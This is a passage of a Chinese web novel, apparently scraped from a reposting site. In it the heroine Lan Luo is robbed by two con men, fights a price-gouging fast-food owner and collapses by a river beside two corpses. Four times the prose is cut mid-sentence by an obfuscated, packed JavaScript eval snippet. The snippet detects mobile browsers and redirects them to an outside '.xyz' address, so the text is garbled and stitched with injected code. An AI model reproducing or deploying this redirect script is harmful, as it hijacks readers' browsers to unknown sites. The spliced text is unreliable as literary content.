白短袖戳了黑夹克一下,黑夹克这才“嗤”了一声,不情不愿地脱下夹克扔在了地上。 狭窄的巷子口,黑通通的看不见半个人影经过。 两个身形长相都有些类似的男人前后脚走出巷子,两个人穿得像双胞胎似的,一人一件白短袖。 “我那么好的夹克,才穿了没几天呢……” 原本的黑夹克嘟嘟囔囔,抱着手臂搓来搓去。 面无表情的白短袖一下子把眉毛皱起来:“行了,下次再买。” “你打不过她,我也是怕你受伤了。” 他瞄了一眼黑夹克,稍作安抚。 黑夹克噘噘嘴:“谁说的,明明是你不让我用异 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15958175|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” “嘘,就这样吧。” 白短袖轻飘飘结束了这个话题,抬脚离开了。 黑夹克跟在他身后,亦步亦趋。 兰落蹲在巷子里,捡起地上的夹克,用力抖了抖。 她两根手指捏着衣领,凑近闻了闻—— 竟然没什么味道。 兰落都做好了穿大汉臭衣服的准备了,没想到黑夹克长得不卫生,衣服倒挺卫生的。 把夹克夹在怀里,兰落单手撕掉了身上的破衣服,扔垃圾一样扔在角落。 她上半身只剩下一件黑色工装背心,包裹着躯干部分,露出来的手臂和腰腹隐约有薄薄的肌肉覆盖在上面,随着她的动作展现出流畅的线条。 兰落穿上夹克,把衣领拉到最高挡住小半张脸,把钱包塞进夹克口袋,又把匕首绑在大腿上,宽大的夹克垂下来刚好能挡住。 不用穿脏衣服,舒服多了。 兰落走出巷子,按照白短袖的说法沿着主路一直走,边走边观察细鬼城。 细鬼城跟小息城比起来有过之而无不及,破烂的墙壁上随便用什么材料补一补,就又是一间完好的屋子了。 可能是因为年代久远,细鬼城的建筑都有些低矮,只有眺望远处时才能看见几座布满裂纹的高楼,楼顶几乎已经被腐蚀烂了,参差不齐的。 这里小偷应该挺泛滥的。 兰落注意到家家户户不论房屋多老旧,门窗上都装上了防盗网,防盗网看起来还比较新,应该是这几年才兴起的吧。 兰落上手摸了摸,这种防盗网质量并不好,随便来个异能者就能轻易撕开,应该只是用来防普通小偷的。 “唰——” 防盗网里露出一个脑袋,长相清秀的小女孩打开窗户,瞪着扒防盗网的兰落: “去去去!别打我们家主意!” “要是弄坏了防盗网,我就去找市长大人告状!” “市长大人?” 兰落收回手:“这地方还有市长?” 小女孩瞪她一眼,砰一声合上窗子:“有本事你就试试看!” 小女孩的声音隔着玻璃闷闷的,还有些掩饰不住的颤抖,兰落耸耸肩,没再搭理她。 “断头台断头台……” 兰落拎着领口挡住脸,小声重复着白短袖给的地标。 “请问,”她伸手拦住路过的老人,“断头台在哪里?” 老人一头灰白相间的短发,垂着头用余光瞄她,听到兰落说的话,浑身都是一哆嗦:“不知道不知道。” 兰落不知道这老太太为什么战战兢兢的,她明明已经换掉了血衣,连脸都没露出来。 “断头台前面,是不是做生意的地方?” 她耐着性子又问了一遍。 老太太“唰”一下抬头看她,又快速低下脑袋点点头:“是……前面、前面走就到了。” 她到底多吓人? 兰落知道自己身上还有些血腥味,但这也是没办法,她现在哪有功夫洗澡啊? 老年人不经吓,兰落没想惹麻烦,放手让老太太走了。 路边伸出一个小小的脑袋,刚刚的小女孩冒出脑袋:“你告诉她干嘛?去断头台的都不是什么好人!” 老太太哆哆嗦嗦地指她:“你以为断头台里的就是好人了?” “那也是,”小女孩盯着兰落远去的背影,“她们最好打起来。” 老太太扭头,挥挥手让她把窗户关上:“你妈不在家,不要乱露头。” 小女孩缩缩脑袋,关上窗户不再说话。 38. 吃饭 兰落揣着两颗互不顺眼的心脏和一个鼓鼓囊囊的钱包,站在了所谓断头台的正下方。 和她想的不一样,断头台并不是行刑的地方,而是一座很高的大楼,楼体上爬满了青苔和藤蔓。 她能认出这是断头台,是因为它的墙面上被人用红油漆写了大大的“断头台”三个字,想不注意到都难。 断头台就是她刚刚远远看见的破烂建筑之一,顶部被腐蚀得非常严重,像个丢了盖子的保温杯,敞着口子矗立在细鬼城的中央。 顶部的破洞幽黑,深不见底,风一吹就发出呜呜的声响,还真有点像鬼叫。 怪不得是细鬼城的地标。 兰落走近了一点,看见“断头台”三个字下面还有一点小字。 “神不临世,苦不堪言。” “神算个屁!我算个屁!钱算个屁!” “都去死都去死都去死!所有的一切都应该被毁灭!断头台在这里!请跳进去!” “傻x” “老子发誓衣锦还乡!!” “禁止乱涂乱画,违者是狗。” “汪汪……” 兰落草草扫了一眼,上面写什么的都有,乱七八糟乌烟瘴气。 这些涂鸦看起来已经出现了不短的时间了,有的边缘已经爬上藤蔓,看不清楚了。 细鬼城之前还挺……潮流叛逆的。 兰落看了一眼,没发现新鲜涂鸦,也许是前人太浪费,他们现在已经没有颜料可以使用了。 她莫名其妙笑了一声,绕过这栋死气沉沉的大楼,去找所谓的集中买卖点。 断头台附近人很少,兰落缩着脖子四处张望,连个人影都看不到,墙角也没有机械眼,很三无的地带。 兰落放下一直扯着衣领的手,露出大半张脸,自在地吸了口气,又缓慢吐出来。 这就是她喜欢的环境。 没有人,没有监视。 断头台能住人吗? 兰落绕到断头台背面,从一楼窗户扫了一眼,里面黑洞洞的什么都看不见,只能闻到湿润阴冷的空气,像地下室的味道。 她刚刚甚至动了在这住下的念头。 但这也只是想想罢了,兰落来到细鬼城只是多了个能解决日常生活问题的地方,并不代表她就安全了。 她没忘记自己是陆观追杀的实验体,那些人犬说不定迟早会找到这里来。 还有军校,肃哥知道她的长相,很有可能把兰升的死联想在她身上,到时候通缉令传遍了通讯器,断头台就真的变成断头台了。 兰落很快就看见了岔路,她没有犹豫,转身走进左边的街道。 一进到这条路,周边的光线似乎都暗了几分,开着门的店面没几家,整条街道破旧又安静。 她抬头看了眼,这条街刚好落在了断头台的阴影之下,白天也很少能接收到阳光,阴冷潮湿也是正常的。 细鬼城的商业街建在这种地方,除了租金低廉,她想不出别的理由了。 “滴答……” 一滴水珠沿着脏兮兮的水管掉落,和兰落脚边的一滩污水融在一起。 兰落往旁边让了几步,避开这摊污水。 她的脚底有些黏腻,这条街是砖块铺成的,有些地方的砖块已经被翘掉了,豁口里盛着污水,石缝里长着青苔。 兰落挑了块干净的地方站着,观察身侧这家门店。 这家店没有名字,大门是木头的,虚掩着留出一条门缝,里面黑漆漆看不清楚。 兰落后退几步观察了一下,这店连块玻璃都没有,从外面完全看不出是做什么生意的。 而且,兰落眯着眼睛数了数,这条街上的房屋反而都没有装防盗网,是不怕偷还是没人偷? “吱呀——” 黑色木门拉开一条缝,一双浑浊的眼睛在门缝里盯着她。 “打烊了,去别家。” 苍老的声音很不耐烦,似乎嫌弃兰落挡路了。 兰落上下扫视一眼:“你们家是做什么生意的?” “丧葬。” 老板吐出两个字,嘎吱一声关上了木门。 兰落皱了皱眉,继续往前走。 这里的商铺本来就不多,开着门的更是寥寥无几,写着经营类别的就更少了。 兰落站在一家店面较大的商铺前,停下了脚步。 店面其实也不大,但是和刚刚的丧葬店之类的比起来,确实大了不少。 这家大敞着门,门甚至还是双开的玻璃门,让兰落有一瞬间回到大城市的错觉。 更重要的是,他家的门头上,有正儿八经的招牌,放在门口格外醒目。 “卖炸鸡汉堡薯条披萨饮料……” 兰落念着招牌上的字,这家店恨不得把菜单直接印在上面,写得又长又多。 不管了,就这家看起来正常点,管他卖什么的,先吃饱再说,不然两颗心脏真的要把对方打死了。 兰落毫不犹豫踏上门口的台阶,伸手拨开门口垂着的厚门帘。 油腻发黑的暗红色挡风帘随着兰落的动作被掀起又放下,吊在门口摆动几下。 门帘落下的瞬间,街道尽头走过一个高挑的人影。 人影顿住,高抬着下巴看向远处摆动的门帘,眉心皱起:“看错了吧。” 几秒后,人影抄着口袋,若无其事离开。 兰落放下门帘,搓了搓手指。 门帘比她想象的脏,摸在手上黏黏的,有点恶心。 她环顾四周,店里连包纸巾都没有。 店里只有几张简陋的桌椅,最里面正对着大门是吧台,吧台上摆着一个老旧的电脑,还有一份纸质菜单,一个壮汉把头埋在吧台里睡觉。 很普通的快餐店,看起来没什么异常。 兰落扣了扣吧台桌面,叫醒了吧台里埋头睡觉的老板。 老板是个光头,身材高大,一脸横肉。 “干什么?” 光头吊着眼睛斜视兰落,脸上还有睡觉压出来的红印子。 “吃饭。”兰落仔细看菜单。 菜单上列了很多吃的,每份食物旁边还贴了参考图,拍的很专业,一看就是网图。 兰落抬眼看光头:“怎么没有价格?” 光头打了个哈欠,像是清醒过来了,挠了挠锃亮的脑袋:“懒得贴,都是正常价,吃什么快说。” “一份招牌炸鸡,”兰落指尖点了点菜单,“一个巨无霸汉堡,再来一碗大份的经典拉面。” 应该够她吃了。 光头像模像样地在电脑上噼里啪啦敲了几下,然后起身去了后厨。 吧台和后厨之间用一道布帘隔开,兰落看不见后厨的样子,但观察前厅就知道这家的卫生状况有多差了。 兰落不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15964556|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很在乎这些,她已经很久没吃饭了,之前在森林里随便什么东西都敢吃,当然不会怕脏乱差的快餐。 她找了个靠近门的位置坐下,双手抱胸闭目养神,右手却一直放在匕首旁边,只要有情况就能立即反应过来。 后厨响起炸东西的滋啦声,浓郁的香味飘了出来。 兰落肚子忍不住咕噜噜叫了两声,心脏也开始砰砰乱撞。 “哟,有客人了?” 一个黑瘦黑瘦的矮个子男人掀开门帘走了进来,余光打量着兰落。 光头听到动静,探出脑袋:“狗黑皮!你他爹的鼻子比狗灵!” 黑皮坐在兰落旁边的桌子旁,翘着二郎腿开始抖:“说话真难听,给我上份面。” 兰落瞄他一眼,换来黑皮光明正大的打量:“面生啊,美女第一次来?” 兰落没理他,转过头把脸缩进夹克衣领。 没几分钟光头就端着一个大托盘出来,把东西扔在兰落桌上。 “齐了。” 光头撂下一句,转身要回后厨。 这才几分钟就做好了,真是把预制菜展现得淋漓尽致。 “有没有纸巾?”兰落问光头。 光头回头看她一眼,撇嘴不屑:“没有,从来不提供,要用自己买去。” “嘿嘿。”黑皮笑了几声,很高兴的样子。 兰落不强求,把托盘挪到自己面前,上面有两个纸袋和一个纸碗,旁边摆了一双一次性筷子。 她打开潦草的纸袋,把汉堡倒出来。 菜单上的“巨无霸”汉堡到了她手里,就成了迷你薄堡,两片软趴趴的面包里夹着一片萎靡的生菜和一片薄如蝉翼的肉,沙拉酱倒是大方,挤得满满的。 兰落已经有了心理准备,所以没什么波澜,面无表情地啃汉堡,一边啃一边把炸鸡倒出来。 炸鸡数量倒还挺多的,只不过每一块都小得跟鸡米花似的,上面撒了厚厚的粉,裹得看不清原本的颜色。 兰落叹口气,又尝了一口拉面。 ——的确是“经典”。 超市几块钱一包的袋装方便面的味道,确实非常经典了。 来都来了,吃都吃了。 兰落垂着眼睛,机械地往嘴里塞食物。 两颗心脏缓慢停滞下来,她自己的心脏恢复了正常,开始平稳地跳动着,兰升的心脏却突然发了癫,扑通扑通撞着她的胸腔。 也可以理解,兰升这个野外生存都要随身带锅做饭的挑剔家伙,怎么可能忍受得了这种垃圾食品。 兰落左手不动声色摁住心脏,右手抓着筷子,风卷残云地吃了个一干二净。 “结账。” 她扔了筷子,用手背擦擦嘴,对着光头说。 光头刚刚给黑皮也上了一份泡面,黑皮埋头吃得正香,闻言诧异地看她:“吃这么快?你垃圾车啊?” “什么垃圾车!”光头一拍吧台,“你说我的菜是垃圾?!” 兰落没理会他们的争论,慢慢从口袋里掏出钱包。 摸到钱包的一瞬间,兰落心里就涌起了不好的猜测。 她把摸起来明显瘪了的钱包放在座位下面,避开光头皱着眉打开。 钱包里原本厚厚的钞票不见踪影,只有一张泛黄的纸夹在里面。 兰落抽出这张纸—— “该死的小偷,你全家都死了。” 39. 河里 “该死的小偷,你全家都死了。” 兰落默念了一遍纸条上的话,愤怒过后,竟然有一丝释然。 她刚刚就有点隐隐约约的预感,自己怎么可能有这么好的运气顺利得到这笔钱。 白短袖和黑夹克,果然不老实。 兰落十分确定以及肯定是他们两个动的手脚,因为钱包自从来到了她的身上,就从没拿出来过,以她的感知力也不可能感受不到有人靠近自己。 所以只会是他们两个一开始就耍了手段。 不知道他们是怎么瞒天过海的,是异能? 兰落“啧”了一声,她还是轻敌了,这把戏一看就是白短袖做出来的。 怪不得当时黑夹克要笑,估计也是心知肚明,两人一起拿□□包忽悠她呢。 释然归释然,心里的大石头虽然落地了,但说不生气是不可能的。 那两人拿她当猴耍呢? 当街敲诈勒索又骗人,真是活腻了。 兰落又看了一眼手里的纸条,上面的字迹很飘逸,但不显得潦草,反而有些脱俗的意味在里面。 ——如果上面写的不是“你全家都死了”这种字的话。 兰落把纸条揉成一团,收起了钱包。 等着吧,只要他们两个敢出现在她面前,她一定弄死他们。 “就是垃圾怎么了?” 黑皮还在喋喋不休:“有本事你把泡面包装拿出来,我看看过期没?” 光头听了,嘿嘿一笑:“就不给你,吃你的吧。” “所以我的这份多少钱?”兰落靠着椅背,揣着空空如也的钱包,一脸平静地问。 一点儿也看不出她身无分文。 光头在电脑上又敲了几下,敲出一张账单,大手一挥扔到兰落桌上:“五百八,只收现金。” 这么贵? 兰落没说话,捡起账单仔细看。 招牌炸鸡,二百八十八元; 巨无霸汉堡,一百八十八元; 经典拉面,九十八元; 还有一份六元的座位费。 “你这炸鸡为什么这么贵?”兰落指着账单上的价格问。 那炸鸡还没汉堡大。 光头一脸不耐烦,看都没看兰落:“我这炸鸡用的都是自家养的走地鸡,大自然里长大的,可不是激素喂大的!” “你知道养大一只要费多少精力吗?也就是在细鬼城你能有机会吃上,出了细鬼城,两千八你也买不来一只鸡!” 黑皮嘬了一口面汤:“那可不,出了细鬼城你还真吃不上这样的鸡肉。” “听见没?”光头仰着下巴,格外自豪。 兰落还没说话,黑皮又紧接着说:“毕竟他养的鸡都是吃死人肉长大的,你上哪儿找去哈哈哈……” “什么死人肉?”兰落抿了抿唇,突然有点恶心。 “瞎说!” 光头不知道从哪拿出来一块冻得梆硬的炸鸡,直接扔向了黑皮。 黑皮也不躲,任由冻鸡块砸到自己身上。 他捡起结了一层冰霜的鸡块,朝光头展示了一下:“谢谢谢谢,我拿回家下顿吃。” “别听他忽悠,”光头跟兰落说,“我那走地鸡自己都舍不得拿出来卖……” “我看不是舍不得,是全毒死了卖不出去吧!”黑皮嗅了嗅冻鸡块,抖着腿说。 “滚!”光头脸都气红了,怒吼一声。 吃都吃了,兰落也不想计较食材的来源,计较了也只是给自己添堵而已。 她敲了敲桌子,示意光头安静,然后当着他的面掏出了瘪瘪的钱包。 “太贵了,我没钱。” 兰落把钱包放在桌子上,镇定自若地说。 光头和黑皮一下子都安静了,四只眼睛齐刷刷盯着她。 光头的眉心皱得更深,黑皮也不嬉皮笑脸了,压着嘴角瞄光头。 “什么意思?来细鬼城吃霸王餐?” 光头沉声开口,嗓音里都是怒火。 “我只是觉得太贵了,”兰落一点都不心虚,扬了扬手里的账单,“你的定价太不合理了,刚进店的时候你说是正常价格,但一份陈年冷冻炸鸡收我二百八十八,这价格在哪里都不正常吧。” “细鬼城都是这个价格,想吃便宜的就滚出去!” 光头对兰落说完,一拍桌子,凶神恶煞地开口:“黑皮!关门!” “来了!” 黑皮立马从座位上窜起来,跑到门口拉上了两扇玻璃门,还不忘用铁链缠起来。 兰落坐在座位上叹了口气,揉了揉眉心没说话。 她又没说不给,只是这价格太贵了,没有白短袖的那些钞票她确实付不起。 如果光头愿意给她一个合理的价格,兰落完全可以想办法弄到钱还给他。 现在这幅兴师动众的样子,何必呢? 她吃饱了,心脏也不闹了,根本就不怕这两个空有体格的黑心店家。 “细鬼城,断头台,吐金街,”光头走出吧台,一步步靠近兰落,“也是你赖账的地方?” “敢在吐金街吃白食,我看你个小丫头是不要命了!”黑皮紧跟其后。 兰落烦躁地闭了闭眼。 这都是什么事儿啊! 烦!烦!烦! 先是被那两个人骗,又是被这两个人威胁,细鬼城真是…… “……人才辈出啊。” 兰落睁开眼,幽幽地说。 黑皮明显愣了一下,嘴快了一下:“打你你还夸上了?” 兰落没说话,抬眼看天,叹了口气。 这家店的天花板很脏,上面黏着一些蛛网和棉絮,还有很多不知名的黑点点,一看就知道从来没有清理过。 忍不了了,真的。 兰落从座位上站起身,没有给光头和黑皮反应的时间,怀里的匕首一瞬间飞出,在空中闪着冰冷的银光。 揍不到黑夹克和白短袖那两个家伙,就拿这两个狮子大开口的黑心玩意出气吧。 兰落不耐烦地扔出匕首,匕首“噌”一下擦过黑皮的脖颈,牢牢钉在他旁边的墙上。 黑皮被吓得大叫一声,举着双手紧贴墙壁,动都不敢动了。 “废物。” 兰落看都没看黑皮,握紧拳头冲向光头。 光头不甘示弱,大吼一声,捏着两个大拳头也迎面而上。 片刻之后,炸鸡店的桌椅掀倒在地,光头四脚朝天,两眼一翻晕倒在地。 兰落走向一直贴在墙上不动的黑皮,在他的战栗中一步步靠近。 她刚伸出手,黑皮就哆哆嗦嗦大喊:“饶命!饶命饶命饶命!我就是个吃饭的,不关我事不关我事!” 兰落握住扎在墙上的匕首,理都没理这个怂货,一把拔出了匕首。 刀刃擦着黑皮的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15971056|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脖子,吓得他夹紧了胳膊,缩着脖子慢慢蹲在地上。 兰落踩着凳子,从口袋里掏出了通讯器。 这是之前从胡娇芬和那个小孩手里拿来的通讯器,她一直留在身上当地图用的,虽然旧了点,但好歹也是值一些钱的。 兰落现在用不太上通讯器了,况且这玩意时不时要充个电,她没那么多闲心折腾。 检查了一下,兰落没发现通讯器里有什么涉及个人信息的东西,谨慎地把它回恢复了出厂设置,然后才扔在光头身上。 “听好了,这是通讯器,用来抵饭钱。” “你这顿破饭,”兰落扫了眼店里的环境,“你这个破店,只值这么多。” 兰落说完,踢开凳子,自己去吧台掏了两个一次性口罩,看也没看瑟瑟发抖的黑皮和一脸不服的光头,弯腰拆了缠在玻璃门上的铁链,打开门走了出去。 厚门帘晃晃荡荡,把炸鸡店的满是狼藉藏得很好。 兰落戴上口罩站在吐金街,茫然地左右看了看。 原本以为从白短袖那里弄来的钱足够她吃吃喝喝再买套衣服,顺便去洗浴中心打理一下自己,但事实上她现在依然身无分文,什么都干不了。 她越想越气,气得心脏疼。 兰落离开吐金街,凭借记忆出了城。 她记得城外有条河来着,细细长长的,看起来还挺清澈的。 条件有限,资金有限,兰落打算在河里洗个澡,把身上的血腥味还有一路沾染的尘土都洗掉。 她观察了一下,这里是河流的上游,水里应该不会有乱七八糟的东西。 细鬼城城外就是一大片树林,尤其河边,水分充足所以草木格外茂盛,在这里洗澡也算是有半个遮蔽了。 腐蚀雨下的河流里难免掺杂着腐蚀性,但被河水稀释之后已经没什么效果,兰落也不在意这一点微小的污染,当即脱了衣服跳进去。 河水冰冰凉,扑打在身上很舒服,连心头那点不耐烦和怒火都消了不少。 兰落拆掉兔子发绳,在水里搓洗几下,扔到岸边让它自然风干,然后就闭着气一头扎进水里,清洗脏兮兮的头发。 最近她的头发好像疯长了不少,比之前长了很多,发尾打结得很厉害。 兰落冒出湿漉漉的脑袋,从岸边把匕首捞过来,揪住头发,干脆利落地割断了一大截。 断发被她扔在岸边,没一会儿就被风吹得到处都是,慢慢消失了。 兰落揉了揉头发,舒服多了。 她重新套上衣服,甩了甩湿发,把水珠甩的到处都是,然后才捡起匕首和发绳,沿着河一路向下。 不出意外的话,她应该会在这里停留很长时间,先熟悉一下周边环境也是好的。 兰落把发绳套在手腕上,准备等头发干了再扎。 这可是她最后一根发绳了,再丢就只能剪短发了。 想到祝见尘给自己梳头发时小心翼翼的样子,突然觉得有点好笑。 如果他看见自己随随便便就把头发割了,肯定会吓得胡言乱语发神经病。 兰落戴着口罩,弯了一下眼睛。 只是走到下游之后,兰落弯着的眼睛慢慢恢复了平时的冷淡,眉心微蹙。 小河的下游里浮着两具发白的尸体。 “咯咯——” 一只瘦小的鸡抬着一只脚站在尸体上,正歪着脑袋一脸好奇地对她叫。 40. 挖坟 两具发白的尸体四肢大开,背朝上趴在水里看不清面貌,只能大概判断出是两个男人。 几块石头挡住了尸体,阻止他们漂到下游,河水在他们的身上流淌过,又毫无芥蒂地流到更下方。 兰落嘴角抽了抽,抬起胳膊闻了闻自己。 还好,没味儿。 幸好她是在上游洗的澡,如果是在下游,岂不是和尸体共用一盆洗澡水? 太恶心了简直。 兰落不知道这两具尸体为什么会出现在这里,但看样子已经死了有一阵了,都泡浮囊了。 细鬼城这种地方,荒郊野岭出现几个死人也很正常。 她凑近一点,想看仔细。 瘦鸡像是被她吓到了,“咯咯”两声把鸡翅展开,单脚跳到对岸,一双豆豆眼紧紧盯着兰落。 兰落没理它,踏进浅水里,用脚尖挑起了一具尸体的脑袋。 没看出什么特别的。 兰落把脚放下,又挑起另一具尸体,还是没什么特别的。 就好像在一个普通的日子死了两个普通的人,让人毫无兴趣。 兰落跳到对岸,把那只紧张的瘦鸡吓了一跳,扑腾着翅膀跳回了尸体脑袋上。 这鸡力气不小,尸体的脑袋被它踩了几脚,在浅水滩里浮浮沉沉,荡出几圈涟漪。 兰落好笑地看着这只鸡,想起自己刚刚吃下的黑心炸鸡,故意踢了一脚水,吓得它到处扑腾,在两颗脑袋上反复横跳。 兰落心情好了一点,避开尸体周围的水,挑了稍远一点的地方冲脚,甩甩干才穿上了鞋子。 那只鸡歪着脑袋看她,似乎觉得没有危险了,“咯咯”两声就开始低头啄食。 兰落看着它悠然自得啄东西的样子,拧着眉头抿着嘴,胃里开始不断翻涌。 “呕!” ——这鸡,在吃死人肉! 兰落捂着嘴,坐在水边不停干呕。 她可以理解动物吃尸体,但兰落毕竟刚吃过鸡肉,当时黑皮还嬉皮笑脸说了好几次光头的鸡吃死人肉,她都没放在心上。 现在亲眼目睹到了这一幕,说什么都有点恶心了。 “咯咯——” 那瘦鸡伸着脑袋看兰落,嘴边还挂着一丝白白的皮肉。 兰落背过身子不跟它对视,尽量平复着身体里的不适。 怎么回事? 她摘了两片草擦手,渐渐发现了不对劲。 一只吃腐肉的鸡而已,至于让她恶心到这种地步吗? 兰落又不是没见过更恶心的东西,就说上次炸开花的人犬,场面可比现在恶心多了,那时候她都能做到不动如山,怎么今天这么奇怪? 她站起身,胃里又是一阵翻涌。 兰落咬着下唇,遏制住干呕的欲望,狠狠摁了两下自己的胃部。 “噗——” 一口血逆流而上,直接从她的嘴里喷了出来,四溅在河岸边。 兰落喉咙刺痛,整个人都有点晕乎乎的。 她抬手在下巴上抹了两把,看见手心里的血渍,摇摇晃晃着倒了下去。 两颗心脏几乎同时停止了跳动。 平静的水面溅起高高的浪花,穿黑夹克的女孩趴在水里,和旁边两具发白的尸体并排漂浮着,不知生死。 失去意识的前一秒,兰落感受到了那只瘦鸡正在用尖嘴试探性地啄她头发。 “神不降临,苦不堪言!” “这是神的旨意,跳进去!用尸体填满断头台!这是我们的断头台!” “神啊!我做错了什么!请保佑我活下去,就算我的□□被腐蚀,请保佑我的灵魂永生!” “好疼啊,妈妈,我疼……” 兰落感受不到自己的身体了,她像是浮在空中的一片云一样轻盈,耳边充斥着乱糟糟的哭喊。 她睁开眼,神奇地发现眼前是熟悉的断头台。 富丽的高楼从顶部开始一寸寸碎裂,大大小小的砖石滚落下来,砸在地上碎成一片灰尘。 大楼下是三三两两抱在一起哭嚎的人,刚刚听到的声音就是他们发出来的。 楼都要塌了,躲在下面等着被砸死吗? 兰落看傻子一样看着这群满脸绝望的人,如果是她,只会尽量找个安全的地方躲起来,而不是一边等着被砸成烂泥一边哭着求神拜佛。 死了倒是能见神。 兰落抬头看不断剥离的墙面,注意到断头台的墙壁上干干净净,没有任何涂鸦。 这是从前的断头台? 她在做梦? 为什么她会梦到断头台的曾经?明明她今天才第一次接触到细鬼城和断头台。 头脑开始清醒的下一瞬,凄惨的画面就轰然崩塌,兰落的视线里变成一片虚无的灰色。 “不死不灭……” “不死者,不伤不痛,可断肢重生,死而复生,与天地同寿,共日月恒久——” “不死者,与天地同寿,共日月恒久……” 细碎的呢喃贴着耳畔响起,仿佛是从大脑中直接冒出的声音,兰落无需认真听就能直接接受到这些讯息。 “咚咚……” 心脏重新开始跳动,温热的血液在体内流淌,冰凉的四肢逐渐恢复温度。 兰落眼睛微微睁开一条缝,阳光渗进眼眶,刺得她想流泪。 她偏过脑袋,看了眼自己被泡皱的指腹,撑着水底的石头站起身,费力地爬上岸。 兰落浑身都在滴水,她随便拧了几下衣角,正准备把衣服脱下来,耳朵里就捕捉到了杂乱的脚步声。 拉住衣服下摆的手顿了一下,兰落环视四周,确认自己没落下什么东西,就当机立断钻进了河边的草丛,背部紧贴着一棵大树。 “啪嗒”、“啪嗒”的脚步声越来越近,最终停在了河边,离兰落不过十几米的地方。 是两个女人。 兰落观察了一下,其中一个女人看上去三十出头的样子,穿着旧旧的长袖长裤,嘴边带着一抹淡淡的笑。 另一个……看不出来。 她裹得很严实,连帽衫的帽子扣在头上,抽绳系得紧紧的,脸上戴了一个大口罩,手上也戴着手套,除了能从体型和走路姿势辨别出性别为女,别的就一概看不出来了。 兰落透过草丛的缝隙,眯着眼睛看她们。 这两人走到了尸体旁边,带笑的女人脸上的笑容慢慢消失了,叹了一口气开始挽裤脚。 挽好裤脚她就下水捞尸体去了,只剩另一个女人垂手站在岸边看,没有半点帮忙的意思。 水里的女人捞起一具尸体,对岸上的人摇了摇头,把尸体放在岸边就又回去捞另一具。 岸上的女人捞起袖子,拽着尸体一路拖行到了隐蔽处。 兰落的视角不太好,看不见她在做什么,只能听见此起彼伏的铲土声。 挖坟?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15975347|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 片刻后,全副武装的女人回到河边,鞋子上和手套上全是泥土。 她在河里洗了洗手,甚至还鞠了一捧水去泼河里的女人。 河里的女人没有回应她,拎着另一具尸体,小幅度点了点头。 岸上的人撑着膝盖站起来,接过尸体,一言不发地往回走。 河里的人爬上岸,放下微湿的裤脚,跟在后面离开了。 兰落一直目送她们离开,在她们走之后才拨开草丛,来到刚刚全副武装的女人铲土的地方。 这里多了个新挖出来的土包,上面的泥土还很湿润,被人压得很瓷实。 她们是什么人? 为什么特意跑来埋尸体? 埋就算了,怎么还只埋一个? 兰落没碰土包,挠了挠头也离开了。 这是细鬼城土著的事儿,跟她没关系。 兰落在这里唯一的目的就是藏好自己,让心脏彻底融合,成为真正的不死者。 其他的事,都与她无关。 但在此之前,她要做一件事。 她要拿回通讯器! 想到这个兰落就来气。 该死的黑心光头炸鸡,早知道一分都不该留给他! 兰落之前是拿通讯器抵饭钱了,但是把她吃到吐血的黑店,别说付钱,不赔她钱都算她窝囊。 况且她也是才想起来,通讯器再怎么旧,也是可以接受新闻的,军校新生在试炼期被开膛破肚的事情,不可能没有报道。 还有肃哥,不知道他那边是怎么处理的。 虽然不打算回到那片地方,但多了解点消息总归是好的。 至少,可以隔着屏幕参加兰升的葬礼。 兰落穿着湿哒哒的衣服,决定好了就准备直接回城,直捣炸鸡店。 她现在浑身湿透,形象比起刚来细鬼城的时候好不到哪里去,所以特意避开了正门,从坑坑洼洼的城墙上翻了进去。 这里的城墙说是墙,其实更像矮栅栏,四处都破破烂烂的,高低不一,最矮的地方甚至只到她的大腿,个子高点的人一个大跨步就能直接跨过去。 早知道最开始就不应该从正门进城的,这样就不会遇到黑夹克和白短袖,更不会拿着□□去吃黑店,害得她还要多跑一趟赎回自己的通讯器。 至于怎么“赎”,就不太重要了。 兰落撑着墙面落地,直接落进一条窄窄的小巷子,里面堆满了杂物。 很顺利。 但是—— 她抬起头,隔着巷子和巷口两个熟悉的人影对视。 巷子口,挨在一起数钱的黑夹克和白短袖不可置信地盯着兰落,三人竟然一时之间都没有动作。 